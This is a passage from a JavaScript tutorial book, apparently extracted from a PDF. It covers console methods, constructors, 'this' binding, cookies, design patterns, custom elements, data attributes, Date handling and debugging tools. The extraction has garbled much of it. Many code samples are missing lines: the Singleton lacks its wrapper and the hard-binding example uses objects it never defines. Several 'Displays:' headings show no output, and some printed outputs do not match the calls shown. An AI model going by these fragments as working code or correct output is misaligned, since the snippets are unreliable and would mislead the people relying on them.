console.count(Number('42.3'));
console.count('42.3');
Displays:
42.3: 1
42.3: 2
42.3: 3
console.count(console.constructor);
console.count(function(){});
console.count(Object);
var fn1 = function myfn(){};
console.count(fn1);
console.count(Number);
Displays:
[object Function]: 1
[object Function]: 2
[object Function]: 3
[object Function]: 4
[object Function]: 5
Certain objects get specific counters associated to the type of object they refer to:
console.count(undefined);
console.count(document.Batman);
var obj;
console.count(obj);
console.count(Number(undefined));
console.count(NaN);
console.count(NaN+3);
console.count(1/0);
console.count(String(1/0));
console.count(window);
console.count(document);
console.count(console);
console.count(console.__proto__);
console.count(console.constructor.prototype);
console.count(console.__proto__.constructor.prototype);
console.count(Object.getPrototypeOf(console));
console.count(null);
https://riptutorial.com/ 180
www.dbooks.org
Displays:
undefined: 1
undefined: 2
undefined: 3
NaN: 1
NaN: 2
NaN: 3
Infinity: 1
Infinity: 2
[object Window]: 1
[object HTMLDocument]: 1
[object Object]: 1
[object Object]: 2
[object Object]: 3
[object Object]: 4
[object Object]: 5
null: 1
> console.count();
: 1
> console.count('');
: 2
> console.count("");
: 3
Writes an error message to the console if the assertion is false. Otherwise, if the assertion is true,
this does nothing.
Multiple arguments can be provided after the assertion–these can be strings or other objects–that
will only be printed if the assertion is false:
https://riptutorial.com/ 181
console.assertdoes not throw an AssertionError (except in Node.js), meaning that this method is
incompatible with most testing frameworks and that code execution will not break on a failed
assertion.
Many of the console's print methods can also handle C-like string formatting, using % tokens:
Specifier Output
%c Applies CSS style rules to the output string as specified by the second parameter
Advanced styling
When the CSS format specifier (%c) is placed at the left side of the string, the print method will
accept a second parameter with CSS rules which allow fine-grained control over the formatting of
that string:
Displays:
https://riptutorial.com/ 182
www.dbooks.org
It is possible to use multiple %c format specifiers:
• any substring to the right of a %c has a corresponding parameter in the print method;
• this parameter may be an emtpy string, if there is no need to apply CSS rules to that same
substring;
• if two %c format specifiers are found, the 1st (encased in %c) and 2nd substring will have their
rules defined in the 2nd and 3rd parameter of the print method respectively.
• if three %c format specifiers are found, then the 1st, 2nd and 3rd substrings will have their
rules defined in the 2nd , 3rd and 4th parameter respectively, and so on...
Displays:
The identation can be removed for posterior entries by using the following method:
• console.groupEnd(): exits the current group, allowing newer entries to be printed in the
parent group after this method is invoked.
Groups can be cascaded to allow multiple idented output or collapsible layers within eachother:
https://riptutorial.com/ 183
= Collapsed group expanded =>
You can clear the console window using the console.clear() method. This removes all previously
printed messages in the console and may print a message like "Console was cleared" in some
environments.
console.dir(object) displays an interactive list of the properties of the specified JavaScript object.
The output is presented as a hierarchical listing with disclosure triangles that let you see the
contents of child objects.
var myObject = {
"foo":{
"bar":"data"
}
};
console.dir(myObject);
displays:
https://riptutorial.com/ 184
www.dbooks.org
console.dirxml(object) prints an XML representation of the descendant elements of object if
possible, or the JavaScript representation if not. Calling console.dirxml() on HTML and XML
elements is equivalent to calling console.log().
Example 1:
console.dirxml(document)
displays:
Example 2:
console.log(document)
displays:
https://riptutorial.com/ 185
Example 3:
var myObject = {
"foo":{
"bar":"data"
}
};
console.dirxml(myObject);
displays:
https://riptutorial.com/ 186
www.dbooks.org
Chapter 24: Constructor functions
Remarks
Constructor functions are actually just regular functions, there's nothing special about them. It's
only the new keyword which causes the special behavior shown in the examples above.
Constructor functions can still be called like a regular function if desired, in which case you would
need to bind the this value explicitly.
Examples
Declaring a constructor function
Constructor functions are functions designed to construct a new object. Within a constructor
function, the keyword this refers to a newly created object which values can be assigned to.
Constructor functions "return" this new object automatically.
function Cat(name) {
this.name = name;
this.sound = "Meow";
}
Constructor functions also have a prototype property which points to an object whose properties
are automatically inherited by all objects created with that constructor:
Cat.prototype.speak = function() {
console.log(this.sound);
}
Objects created by constructor functions also have a special property on their prototype called
constructor, which points to the function used to create them:
Objects created by constructor functions are also considered to be "instances" of the constructor
function by the instanceof operator:
https://riptutorial.com/ 187
Read Constructor functions online: https://riptutorial.com/javascript/topic/1291/constructor-
functions
https://riptutorial.com/ 188
www.dbooks.org
Chapter 25: Context (this)
Examples
this with simple objects
var person = {
name: 'John Doe',
age: 42,
gender: 'male',
bio: function() {
console.log('My name is ' + this.name);
}
};
person.bio(); // logs "My name is John Doe"
var bio = person.bio;
bio(); // logs "My name is undefined"
In the above code, person.bio makes use of the context (this). When the function is called as
person.bio(), the context gets passed automatically, and so it correctly logs "My name is John
Doe". When assigning the function to a variable though, it loses its context.
In non-strict mode, the default context is the global object (window). In strict mode it is undefined.
One common pitfall is to try and use this in a nested function or an object, where the context has
been lost.
document.getElementById('myAJAXButton').onclick = function(){
makeAJAXRequest(function(result){
if (result) { // success
this.className = 'success';
}
})
}
Here the context (this) is lost in the inner callback function. To correct this, you can save the value
of this in a variable:
document.getElementById('myAJAXButton').onclick = function(){
var self = this;
makeAJAXRequest(function(result){
if (result) { // success
self.className = 'success';
}
})
}
https://riptutorial.com/ 189
ES6 introduced arrow functions which include lexical this binding. The above example could be
written like this:
document.getElementById('myAJAXButton').onclick = function(){
makeAJAXRequest(result => {
if (result) { // success
this.className = 'success';
}
})
}
5.1
Every function has a bind method, which will create a wrapped function that will call it with the
correct context. See here for more information.
var monitor = {
threshold: 5,
check: function(value) {
if (value > this.threshold) {
this.display("Value is too high!");
}
},
display(message) {
alert(message);
}
};
Hard binding
function Person(){
console.log("I'm " + this.name);
}
https://riptutorial.com/ 190
www.dbooks.org
var person2 = {name: "Doe"};
var person3 = {name: "Ala Eddine JEBALI"};
Person();
//outputs: I'm Stackoverflow
Person.call(person1);
//outputs: I'm Stackoverflow
Person.apply(person2);
//outputs: I'm Stackoverflow
Person.call(person3);
//outputs: I'm Stackoverflow
• So, as you can remark in the example above, whatever object you pass to Person, it'll
always use person0 object: it's hard binded.
When using a function as a constructor, it has a special this binding, which refers to the newly
created object:
function Cat(name) {
this.name = name;
this.sound = "Meow";
}
https://riptutorial.com/ 191
Chapter 26: Cookies
Examples
Adding and Setting Cookies
document.cookie +=
COOKIE_NAME + "=" + COOKIE_VALUE
+ "; expires=" + COOKIE_EXPIRES
+ "; path=" + COOKIE_PATH;
Reading cookies
This will set cookie_value to the value of the cookie, if it exists. If the cookie is not set, it will set
cookie_value to null
Removing cookies
If you want to make sure cookies are enabled before using them, you can use
navigator.cookieEnabled:
https://riptutorial.com/ 192
www.dbooks.org
if (navigator.cookieEnabled === false)
{
alert("Error: cookies not enabled!");
}
Note that on older browsers navigator.cookieEnabled may not exist and be undefined. In those
cases you won't detect that cookies are not enabled.
https://riptutorial.com/ 193
Chapter 27: Creational Design Patterns
Introduction
Design patterns are a good way to keep your code readable and DRY. DRY stands for don't
repeat yourself. Below you could find more examples about the most important design patterns.
Remarks
In software engineering, a software design pattern is a general reusable solution to a commonly
occurring problem within a given context in software design.
Examples
Singleton Pattern
The Singleton pattern is a design pattern that restricts the instantiation of a class to one object.
After the first object is created, it will return the reference to the same one whenever called for an
object.
function createInstance() {
// private variables and methods
var _privateVariable = 'I am a private variable';
function _privateMethod() {
console.log('I am a private method');
}
return {
// public methods and variables
publicMethod: function() {
console.log('I am a public method');
},
publicVariable: 'I am a public variable'
};
}
return {
// Get the Singleton instance if it exists
// or create one if doesn't
getInstance: function () {
if (!instance) {
instance = createInstance();
}
return instance;
}
};
})();
https://riptutorial.com/ 194
www.dbooks.org
Usage:
Module Pattern
The Module pattern is a creational and structural design pattern which provides a way of
encapsulating private members while producing a public API. This is accomplished by creating an
IIFE which allows us to define variables only available in its scope (through closure) while
returning an object which contains the public API.
This gives us a clean solution for hiding the main logic and only exposing an interface we wish
other parts of our application to use.
getDoublePrivateData: function() {
return api.getPrivateData() * 2;
}
};
return api;
})(/* pass initialization data if necessary */);
https://riptutorial.com/ 195
var getPrivateData = function() {
return privateData;
};
//Namespace setting
var NavigationNs = NavigationNs || {};
NavigationNs.pagination.prototype = function() {
// It is a example of a private method because is not revealed in the return statement
var reload = function(data) {
// do something
},
// It the only public method, because it the only function referenced in the return
statement
getPage = function(link) {
var a = $(link);
https://riptutorial.com/ 196
www.dbooks.org
// after the the ajax call is done, it calls private method
reload(data);
});
return false;
}
return {getPage : getPage}
}();
This code above should be in a separated file .js to be referenced in any page that is needed. It
can be used like this:
Prototype Pattern
The prototype pattern focuses on creating an object that can be used as a blueprint for other
objects through prototypal inheritance. This pattern is inherently easy to work with in JavaScript
because of the native support for prototypal inheritance in JS which means we don't need to
spend time or effort imitating this topology.
function Welcome(name) {
this.name = name;
}
Welcome.prototype.sayHello = function() {
return 'Hello, ' + this.name + '!';
}
welcome.sayHello();
// => Hello, John!
Prototypal Inheritance
Inheriting from a 'parent object' is relatively easy via the following pattern
ChildObject.prototype = Object.create(ParentObject.prototype);
ChildObject.prototype.constructor = ChildObject;
Where ParentObject is the object you wish to inherit the prototyped functions from, and ChildObject
is the new Object you wish to put them on.
If the parent object has values it initializes in it's constructor you need to call the parents
constructor when initializing the child.
https://riptutorial.com/ 197
function ChildObject(value) {
ParentObject.call(this, value);
}
RoomService.prototype.announceDelivery = function() {
return 'Your ' + this.order + ' has arrived!';
}
RoomService.prototype.deliverOrder = function() {
return this.sayHello() + ' ' + this.announceDelivery();
}
delivery.sayHello();
// => Hello, John!,
delivery.announceDelivery();
// Your pizza has arrived!
delivery.deliverOrder();
// => Hello, John! Your pizza has arrived!
Factory Functions
Factory functions do not require the use of the new keyword, but can still be used to initialize an
object, like a constructor.
Often, factory functions are used as API wrappers, like in the cases of jQuery and moment.js, so
users do not need to use new.
The following is the simplest form of factory function; taking arguments and using them to craft a
new object with the object literal:
function cowFactory(name) {
return {
name: name,
talk: function () {
console.log('Moo, my name is ' + this.name);
https://riptutorial.com/ 198
www.dbooks.org
},
};
}
It is easy to define private properties and methods in a factory, by including them outside of the
returned object. This keeps your implementation details encapsulated, so you can only expose the
public interface to your object.
function cowFactory(name) {
function formalName() {
return name + ' the cow';
}
return {
talk: function () {
console.log('Moo, my name is ' + formalName());
},
};
}
The last line will give an error because the function formalName is closed inside the cowFactory
function. This is a closure.
Factories are also a great way of applying functional programming practices in JavaScript,
because they are functions.
'Prefer composition over inheritance' is an important and popular programming principle, used to
assign behaviors to objects, as opposed to inheriting many often unneeded behaviors.
Behaviour factories
return {
speak: function () {
console.log(state.name + ' says ' + noise);
}
};
};
https://riptutorial.com/ 199
moveQuickly: function () {
console.log(state.name + ' is moving quickly');
}
};
};
Object factories
return Object.assign(
{},
mover(state)
);
};
Usage
The Abstract Factory Pattern is a creational design pattern that can be used to define specific
instances or classes without having to specify the exact object that is being created.
https://riptutorial.com/ 200
www.dbooks.org
const vehicleFactory = {
createVehicle: function (type) {
switch (type.toLowerCase()) {
case "car":
return new Car();
case "truck":
return new Truck();
case "bike":
return new Bike();
default:
return null;
}
}
};
https://riptutorial.com/ 201
Chapter 28: Custom Elements
Syntax
• .prototype.createdCallback()
• .prototype.attachedCallback()
• .prototype.detachedCallback()
• .prototype.attributeChangedCallback(name, oldValue, newValue)
• document.registerElement(name, [options])
Parameters
Parameter Details
options.prototype The custom prototype to use for the custom element, if any.
Remarks
Note that the Custom Elements specification has not yet been standardized, and
is subject to change. The documentation describes the version that's been
shipped in Chrome stable at this time.
Custom Elements is an HTML5 feature allowing developers to use JavaScript to define custom
HTML tags that can be used in their pages, with associated styles and behaviours. They are often
used with shadow-dom.
Examples
Registering New Elements
Defines an <initially-hidden> custom element which hides its contents until a specified number of
seconds have elapsed.
attachedCallback() {
const seconds = Number(this.getAttribute('for'));
https://riptutorial.com/ 202
www.dbooks.org
this.style.display = 'none';
this.revealTimeoutId = setTimeout(() => {
this.style.display = 'block';
}, seconds * 1000);
}
detachedCallback() {
if (this.revealTimeoutId) {
clearTimeout(this.revealTimeoutId);
this.revealTimeoutId = null;
}
}
});
<initially-hidden for="2">Hello</initially-hidden>
<initially-hidden for="5">World</initially-hidden>
It's possible to extent native elements, but their descendants don't get to have their own tag
names. Instead, the is attribute is used to specify which subclass an element is supposed to use.
For example, here's an extension of the <img> element which logs a message to the console when
it's loaded.
https://riptutorial.com/ 203
Chapter 29: Data attributes
Syntax
• var x = HTMLElement.dataset.*;
• HTMLElement.dataset.* = "value";
Remarks
MDN Documentation: Using data attributes.
Examples
Accessing data attributes
The new dataset property allows access (for both reading and writing) to all data attributes data-*
on any element.
<p>Countries:</p>
<ul>
<li id="C1" onclick="showDetails(this)" data-id="US" data-dial-code="1">USA</li>
<li id="C2" onclick="showDetails(this)" data-id="CA" data-dial-code="1">Canada</li>
<li id="C3" onclick="showDetails(this)" data-id="FF" data-dial-code="3">France</li>
</ul>
<button type="button" onclick="correctDetails()">Correct Country Details</button>
<script>
function showDetails(item) {
var msg = item.innerHTML
+ "\r\nISO ID: " + item.dataset.id
+ "\r\nDial Code: " + item.dataset.dialCode;
alert(msg);
}
function correctDetails(item) {
var item = document.getEmementById("C3");
item.dataset.id = "FR";
item.dataset.dialCode = "33";
}
</script>
Note: The dataset property is only supported in modern browsers and it's slightly slower than the
getAttribute and setAttribute methods which are supported by all browsers.
If you want to support the older browsers before HTML5, you can use the getAttribute and
setAttribute methods which are used to access any attribute including the data attributes. The two
https://riptutorial.com/ 204
www.dbooks.org
functions in the example above can be written this way:
<script>
function showDetails(item) {
var msg = item.innerHTML
+ "\r\nISO ID: " + item.getAttribute("data-id")
+ "\r\nDial Code: " + item.getAttribute("data-dial-code");
alert(msg);
}
function correctDetails(item) {
var item = document.getEmementById("C3");
item.setAttribute("id", "FR");
item.setAttribute("data-dial-code", "33");
}
</script>
https://riptutorial.com/ 205
Chapter 30: Data Manipulation
Examples
Extract extension from file name
Fast and short way to extract extension from file name in JavaScript will be:
function get_extension(filename) {
return filename.slice((filename.lastIndexOf('.') - 1 >>> 0) + 2);
}
It works correctly both with names having no extension (e.g. myfile) or starting with . dot (e.g.
.htaccess):
get_extension('') // ""
get_extension('name') // ""
get_extension('name.txt') // "txt"
get_extension('.htpasswd') // ""
get_extension('name.with.many.dots.myext') // "myext"
The following solution may extract file extensions from full path:
function get_extension(path) {
var basename = path.split(/[\\/]/).pop(), // extract file name from full path ...
// (supports `\\` and `/` separators)
pos = basename.lastIndexOf('.'); // get last position of `.`
get_extension('/path/to/file.ext'); // "ext"
Fast and short way to format value of type Number as money, e.g. 1234567.89 => "1,234,567.89":
More advanced variant with support of any number of decimals [0 .. n], variable size of number
groups [0 .. x] and different delimiter types:
/**
https://riptutorial.com/ 206
www.dbooks.org
* Number.prototype.format(n, x, s, c)
*
* @param integer n: length of decimal
* @param integer x: length of whole part
* @param mixed s: sections delimiter
* @param mixed c: decimal delimiter
*/
Number.prototype.format = function(n, x, s, c) {
var re = '\\d(?=(\\d{' + (x || 3) + '})+' + (n > 0 ? '\\D' : '$') + ')',
num = this.toFixed(Math.max(0, ~~n));
if (prop.length > 1) {
var e = prop.shift();
assign(obj[e] =
Object.prototype.toString.call(obj[e]) === '[object Object]'
? obj[e]
: {},
prop,
value);
} else
obj[prop[0]] = value;
}
// obj == {
// foo : {
// bar : {
// foobar : 'Value'
// }
// }
// }
https://riptutorial.com/ 207
Chapter 31: Datatypes in Javascript
Examples
typeof
typeof is the 'official' function that one uses to get the type in javascript, however in certain cases it
might yield some unexpected results ...
1. Strings
typeof "String" or
typeof Date(2011,01,01)
"string"
2. Numbers
typeof 42
"number"
3. Bool
"boolean"
4. Object
typeof {} or
typeof [] or
typeof null or
typeof /aaa/ or
typeof Error()
"object"
5. Function
typeof function(){}
"function"
6. Undefined
"undefined"
https://riptutorial.com/ 208
www.dbooks.org
Getting object type by constructor name
When one with typeof operator one gets type object it falls into somewhat wast category...
In practice you might need to narrow it down to what sort of 'object' it actually is and one way to do
it is to use object constructor name to get what flavour of object it actually is:
Object.prototype.toString.call(yourObject)
1. String
Object.prototype.toString.call("String")
"[object String]"
2. Number
Object.prototype.toString.call(42)
"[object Number]"
3. Bool
Object.prototype.toString.call(true)
"[object Boolean]"
4. Object
Object.prototype.toString.call(Object()) or
Object.prototype.toString.call({})
"[object Object]"
5. Function
Object.prototype.toString.call(function(){})
"[object Function]"
6. Date
Object.prototype.toString.call(new Date(2015,10,21))
"[object Date]"
7. Regex
Object.prototype.toString.call(new RegExp()) or
Object.prototype.toString.call(/foo/);
"[object RegExp]"
8. Array
Object.prototype.toString.call([]);
https://riptutorial.com/ 209
"[object Array]"
9. Null
Object.prototype.toString.call(null);
"[object Null]"
10. Undefined
Object.prototype.toString.call(undefined);
"[object Undefined]"
11. Error
Object.prototype.toString.call(Error());
"[object Error]"
To find whether an object was constructed by a certain constructor or one inheriting from it, you
can use the instanceof command:
//We want this function to take the sum of the numbers passed to it
//It can be called as sum(1, 2, 3) or sum([1, 2, 3]) and should give 6
function sum(...arguments) {
if (arguments.length === 1) {
const [firstArg] = arguments
if (firstArg instanceof Array) { //firstArg is something like [1, 2, 3]
return sum(...firstArg) //calls sum(1, 2, 3)
}
}
return arguments.reduce((a, b) => a + b)
}
Note that primitive values are not considered instances of any class:
Every value in JavaScript besides null and undefined also has a constructor property storing the
function that was used to construct it. This even works with primitives.
https://riptutorial.com/ 210
www.dbooks.org
console.log([].constructor === Object, [].constructor === Array) //false true
function isNumber(value) {
//null.constructor and undefined.constructor throw an error when accessed
if (value === null || value === undefined) return false
return value.constructor === Number
}
console.log(isNumber(null), isNumber(undefined)) //false false
console.log(isNumber('abc'), isNumber([]), isNumber(() => 1)) //false false false
console.log(isNumber(0), isNumber(Number('10.1')), isNumber(NaN)) //true true true
https://riptutorial.com/ 211
Chapter 32: Date
Syntax
• new Date();
• new Date(value);
• new Date(dateAsString);
• new Date(year, month[, day[, hour[, minute[, second[, millisecond]]]]]);
Parameters
Parameter Details
The year value of the date. Note that month must also be provided, or the value
year will be interpreted as a number of milliseconds. Also note that values between
0 and 99 have special meaning. See the examples.
The month, in the range 0-11. Note that using values outside the specified
month range for this and the following parameters will not result in an error, but rather
cause the resulting date to "roll over" to the next value. See the examples.
Examples
Get the current time and date
Use new Date() to generate a new Date object containing the current date and time.
Once you have a date object, you can apply any of the several available methods to extract its
https://riptutorial.com/ 212
www.dbooks.org
properties (e.g. getFullYear() to get the 4-digits year).
Please note that 0 = January. This is because months range from 0 to 11, so it is often desirable
to add +1 to the index.
https://riptutorial.com/ 213
console.log(second);
// Sample output: 48
The static method Date.now() returns the number of milliseconds that have elapsed since 1
January 1970 00:00:00 UTC. To get the number of milliseconds that have elapsed since that time
using an instance of a Date object, use its getTime method.
• with no arguments
Date() creates a Date instance containing the current time (up to milliseconds) and date.
Date(m) creates a Date instance containing the time and date corresponding to the Epoch
time (1 January, 1970 UTC) plus m milliseconds. Example: new Date(749019369738) gives the
date Sun, 26 Sep 1993 04:56:09 GMT.
https://riptutorial.com/ 214
www.dbooks.org
Date(dateString) returns the Date object that results after parsing dateString with Date.parse.
Date(i1, i2, i3, i4, i5, i6) reads the arguments as year, month, day, hours, minutes,
seconds, milliseconds and instantiates the corresponding Dateobject. Note that the month is
0-indexed in JavaScript, so 0 means January and 11 means December. Example: new
Date(2017, 5, 1) gives June 1st, 2017.
Exploring dates
Note that these examples were generated on a browser in the Central Time Zone of the US,
during Daylight Time, as evidenced by the code. Where comparison with UTC was instructive,
Date.prototype.toISOString() was used to show the date and time in UTC (the Z in the formatted
string denotes UTC).
// Creates a Date object with the current date and time from the
// user's browser
var now = new Date();
now.toString() === 'Mon Apr 11 2016 16:10:41 GMT-0500 (Central Daylight Time)'
// true
// well, at the time of this writing, anyway
// Creates a Date object with the date and time 2,012 milliseconds
// after the Unix Epoch (i.e., '1970-01-01T00:00:02.012Z').
var ms = new Date(2012);
date2012.toISOString() === '1970-01-01T00:00:02.012Z' // true
// Creates a Date object with the first day of February of the year 2012
// in the local timezone.
var one = new Date(2012, 1);
one.toString() === 'Wed Feb 01 2012 00:00:00 GMT-0600 (Central Standard Time)'
// true
// Creates a Date object with the first day of the year 2012 in the local
// timezone.
// (Months are zero-based)
var zero = new Date(2012, 0);
zero.toString() === 'Sun Jan 01 2012 00:00:00 GMT-0600 (Central Standard Time)'
// true
// Creates a Date object with the first day of the year 2012, in UTC.
var utc = new Date(Date.UTC(2012, 0));
utc.toString() === 'Sat Dec 31 2011 18:00:00 GMT-0600 (Central Standard Time)'
// true
utc.toISOString() === '2012-01-01T00:00:00.000Z'
// true
// Parses a string into a Date object (ISO 8601 format added in ECMAScript 5.1)
// Implementations should assumed UTC because of ISO 8601 format and Z designation
https://riptutorial.com/ 215
var iso = new Date('2012-01-01T00:00:00.000Z');
iso.toISOString() === '2012-01-01T00:00:00.000Z' // true
// Parses a string in no particular format, most of the time. Note that parsing
// logic in these cases is very implementation-dependent, and therefore can vary
// across browsers and versions.
var anything = new Date('11/12/2012');
anything.toString() === 'Mon Nov 12 2012 00:00:00 GMT-0600 (Central Standard Time)'
// true, in Chrome 49 64-bit on Windows 10 in the en-US locale. Other versions in
// other locales may get a different result.
// If you actually wanted to set the year to the year 12 CE, you'd need to use the
// setFullYear() method:
special1.setFullYear(12);
special1.toString() === 'Sun Jan 01 12 00:00:00 GMT-0600 (Central Standard Time)`
// true
Convert to JSON
Returns: "2016-04-14T23:49:08.596Z"
By default, a Date object is created as local time. This is not always desirable, for example when
communicating a date between a server and a client that do not reside in the same timezone. In
this scenario, one doesn't want to worry about timezones at all until the date needs to be displayed
in local time, if that is even required at all.
The problem
In this problem we want to communicate a specific date (day, month, year) with someone in a
different timezone. The first implementation naively uses local times, which results in wrong
results. The second implementation uses UTC dates to avoid timezones where they are not
needed.
https://riptutorial.com/ 216
www.dbooks.org
Naive approach with WRONG results
sendToBar(birthday.getTime());
And thus, Bar would always believe Foo was born on the last day of 1999.
Correct approach
sendToBar(birthday.getTime());
https://riptutorial.com/ 217
Creating a Date from UTC
If one wants to create a Date object based on UTC or GMT, the Date.UTC(...) method can be used.
It uses the same arguments as the longest Date constructor. This method will return a number
representing the time that has passed since January 1, 1970, 00:00:00 UTC.
console.log(Date.UTC(2000,0,31,12));
Unsurprisingly, the difference between UTC time and local time is, in fact, the timezone offset
converted to milliseconds.
The other UTC-specific modifiers are .setUTCMonth(), .setUTCDate() (for the day of the month),
.setUTCMinutes(), .setUTCSeconds() and .setUTCMilliseconds().
https://riptutorial.com/ 218
www.dbooks.org
var date = new Date(Date.UTC(2000,0,31,12));
var timestamp = date.getTime();
//Alternatively
var timestamp2 = Date.UTC(2000,0,31,12);
console.log(timestamp === timestamp2);
Sample output:
Convert to String
var date1 = new Date();
date1.toString();
https://riptutorial.com/ 219
Returns: "Thu Apr 14 2016"
Returns: "2016-04-14T23:49:08.596Z"
This function has been marked as deprecated so some browsers may not support it in the future. It
is suggested to use toUTCString() instead.
Returns: "4/14/2016"
This function returns a locale sensitive date string based upon the user's location by default.
date1.toLocaleDateString([locales [, options]])
can be used to provide specific locales but is browser implementation specific. For example,
https://riptutorial.com/ 220
www.dbooks.org
date1.toLocaleDateString(["zh", "en-US"]);
would attempt to print the string in the chinese locale using United States English as a fallback.
The options parameter can be used to provide specific formatting. For example:
var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
date1.toLocaleDateString([], options);
would result in
var checkoutDate = new Date(); // Thu Jul 21 2016 10:05:13 GMT-0400 (EDT)
checkoutDate.setDate( checkoutDate.getDate() + 1 );
It is possible to use setDate to change the date to a day in the following month by using a value
larger than the number of days in the current month -
var checkoutDate = new Date(); // Thu Jul 21 2016 10:05:13 GMT-0400 (EDT)
checkoutDate.setDate( checkoutDate.getDate() + 12 );
console.log(checkoutDate); // Tue Aug 02 2016 10:05:13 GMT-0400 (EDT)
If you wish to add work days (in this case I am assuming Monday - Friday) you can use the setDate
function although you need a little extra logic to account for the weekends (obviously this will not
take account of national holidays) -
https://riptutorial.com/ 221
daysToAdd += 2;
if (remainingWorkDays > 5) {
//Add two days for each working week by calculating how many weeks are included
daysToAdd += 2 * Math.floor(remainingWorkDays / 5);
//Exclude final weekend if remainingWorkDays resolves to an exact number of weeks
if (remainingWorkDays % 5 == 0)
daysToAdd -= 2;
}
}
startDate.setDate(startDate.getDate() + daysToAdd);
return startDate;
}
Get the number of milliseconds elapsed since 1 January 1970 00:00:00 UTC
The static method Date.now returns the number of milliseconds that have elapsed since 1 January
1970 00:00:00 UTC. To get the number of milliseconds that have elapsed since that time using an
instance of a Date object, use its getTime method.
dateObj.toLocaleDateString([locales [, options]])
The locales parameter should be a string with a BCP 47 language tag, or an array of such strings.
The options parameter should be an object with some or all of the following properties:
• localeMatcher : possible values are "lookup" and "best fit"; the default is "best fit"
• timeZone : the only value implementations must recognize is "UTC"; the default is the
runtime's default time zone
• hour12 :possible values are true and false; the default is locale dependent
• formatMatcher : possible values are "basic" and "best fit"; the default is "best fit"
• weekday : possible values are "narrow", "short" & "long"
• era : possible values are "narrow", "short" & "long"
https://riptutorial.com/ 222
www.dbooks.org
• year : possible values are "numeric" & "2-digit"
• month : possible values are "numeric", "2-digit", "narrow", "short" & "long"
• day : possible values are "numeric" & "2-digit"
• hour : possible values are "numeric" & "2-digit"
• minute : possible values are "numeric" & "2-digit"
• second : possible values are "numeric" & "2-digit"
• timeZoneName : possible values are "short" & "long"
How to use
Going custom
If Date.prototype.toLocaleDateString() isn't flexible enough to fulfill whatever need you may have,
you might want to consider creating a custom Date object that looks like this:
https://riptutorial.com/ 223
}
return ret.join(separator);
}
};
return date;
})();
If you included that code and executed new DateObject() on January 20ʰ, 2019, it would produce an
object with the following properties:
day: 20
dayPadded: "20"
month: 1
monthPadded: "01"
monthName: "January"
year: 2019
20-01-2016
(*) According to the MDN, "modern browsers" means Chrome 24+, Firefox 29+, IE11, Edge12+,
Opera 15+ & Safari nightly build
https://riptutorial.com/ 224
www.dbooks.org
Chapter 33: Date Comparison
Examples
Comparing Date values
Note that you must use valueOf() or getTime() to compare the values of Date objects because the
equality operator will compare if two object references are the same. For example:
However, the other comparison operators will work as usual and you can use < and > to compare
that one date is earlier or later than the other. For example:
https://riptutorial.com/ 225
Date Difference Calculation
To compare the difference of two dates, we can do the comparison based on the timestamp.
https://riptutorial.com/ 226
www.dbooks.org
Chapter 34: Debugging
Examples
Breakpoints
Breakpoints pause your program once execution reaches a certain point. You can then step
through the program line by line, observing its execution and inspecting the contents of your
variables.
Debugger Statement
You can place a debugger; statement anywhere in your JavaScript code. Once the JS interpreter
reaches that line, it will stop the script execution, allowing you to inspect variables and step
through your code.
Developer Tools
The second option is to add a breakpoint directly into the code from the browser's Developer
Tools.
https://riptutorial.com/ 227
Safari
Note about Minified Sources: If your source is minified, you can Pretty Print it (convert to
readable format). In Chrome, this is done by clicking on the {} button in the bottom right corner of
the source code viewer.
IDEs
Visual Studio Code (VSC)
VSC has built-in support for debugging JavaScript.
Tip: You can also utilise the conditional breakpoints in browser's dev tools. These help in skipping
unnecessary breaks in execution. Example scenario: you want to examine a variable in a loop
exactly at 5th iteration.
Once you've paused execution on a breakpoint, you may want to follow execution line-by-line to
observe what happens. Open your browser's Developer Tools and look for the Execution Control
icons. (This example uses the icons in Google Chrome, but they'll be similar in other browsers.)
https://riptutorial.com/ 228
www.dbooks.org
Resume: Unpause execution. Shorcut:F8(Chrome, Firefox)
Step Over: Run the next line of code. If that line contains a function call, run the whole
function and move to the next line, rather than jumping to wherever the function is defined.
Shortcut : F10(Chrome, Firefox, IE/Edge), F6(Safari)
Step Into: Run the next line of code. If that line contains a function call, jump into the function
and pause there. Shortcut : F11(Chrome, Firefox, IE/Edge), F7(Safari)
Step Out: Run the rest of the current function, jump back to where the function was called
from, and pause at the next statement there. Shortcut : Shift + F11(Chrome, Firefox, IE/Edge), F8
(Safari)
Use these in conjunction with the Call Stack, which will tell you which function you're currently
inside of, which function called that function, and so forth.
See Google's guide on "How to Step Through the Code" for more details and advice.
• Chrome
• Firefox
• IE
• Edge
• Safari
In Google Chrome, you can pause execution without needing to place breakpoints.
Pause on Exception: While this button is toggled on, if your program hits an unhandled
exception, the program will pause as if it had hit a breakpoint. The button can be found near
Execution Controls and is useful for locating errors.
You can also pause execution when an HTML tag (DOM node) is modified, or when its attributes
are changed. To do that, right click the DOM node on the Elements tab and select "Break on...".
Note that these only work in the developer tools of certain browsers.
"foo" // "foo"
$_ // "foo"
$0 refers to the DOM element currently selected in the Inspector. So if <div id="foo"> is
highlighted:
https://riptutorial.com/ 229
$0 // <div id="foo">
$0.getAttribute('id') // "foo"
$1refers to the element previously selected, $2 to the one selected before that, and so forth for $3
and $4.
To get a collection of elements matching a CSS selector, use $$(selector). This is essentially a
shortcut for document.querySelectorAll.
$_ $()¹ $$() $0 $1 $2 $3 $4
Chrome 22+ ✓ ✓ ✓ ✓ ✓ ✓ ✓
Firefox 39+ ✓ ✓ ✓ × × × ×
IE 11 11 11 11 11 11 11 11
Safari 6.1+ 4+ 4+ 4+ 4+ 4+ 4+ 4+
Elements inspector
Clicking the Select an element in the page to inspect it button in the upper left corner of the
Elements tab in Chrome or Inspector tab in Firefox, available from Developer Tools, and then
clicking on a element of the page highlights the element and assigns it to the $0 variable.
1. You can check if your JS is manipulating DOM the way you expect it to,
2. You can more easily debug your CSS, when seeing which rules affect the element
(Styles tab in Chrome)
3. You can play around with CSS and HTML without reloading the page.
Also, Chrome remembers last 5 selections in the Elements tab. $0 is the current selection, while $1
is the previous selection. You can go up to $4. That way you can easily debug multiple nodes
without constantly switching selection to them.
https://riptutorial.com/ 230
www.dbooks.org
var myObject = {
name: 'Peter'
}
Later in your code, you try to access myObject.name and you get George instead of Peter. You start
wondering who changed it and where exactly it was changed. There is a way to place a debugger
(or something else) on every set (every time someone does myObject.name = 'something'):
var myObject = {
_name: 'Peter',
set name(name){debugger;this._name=name},
get name(){return this._name}
}
Note that we renamed name to _name and we are going to define a setter and a getter for name.
set name is the setter. That is a sweet spot where you can place debugger, console.trace(), or
anything else you need for debugging. The setter will set the value for name in _name. The getter
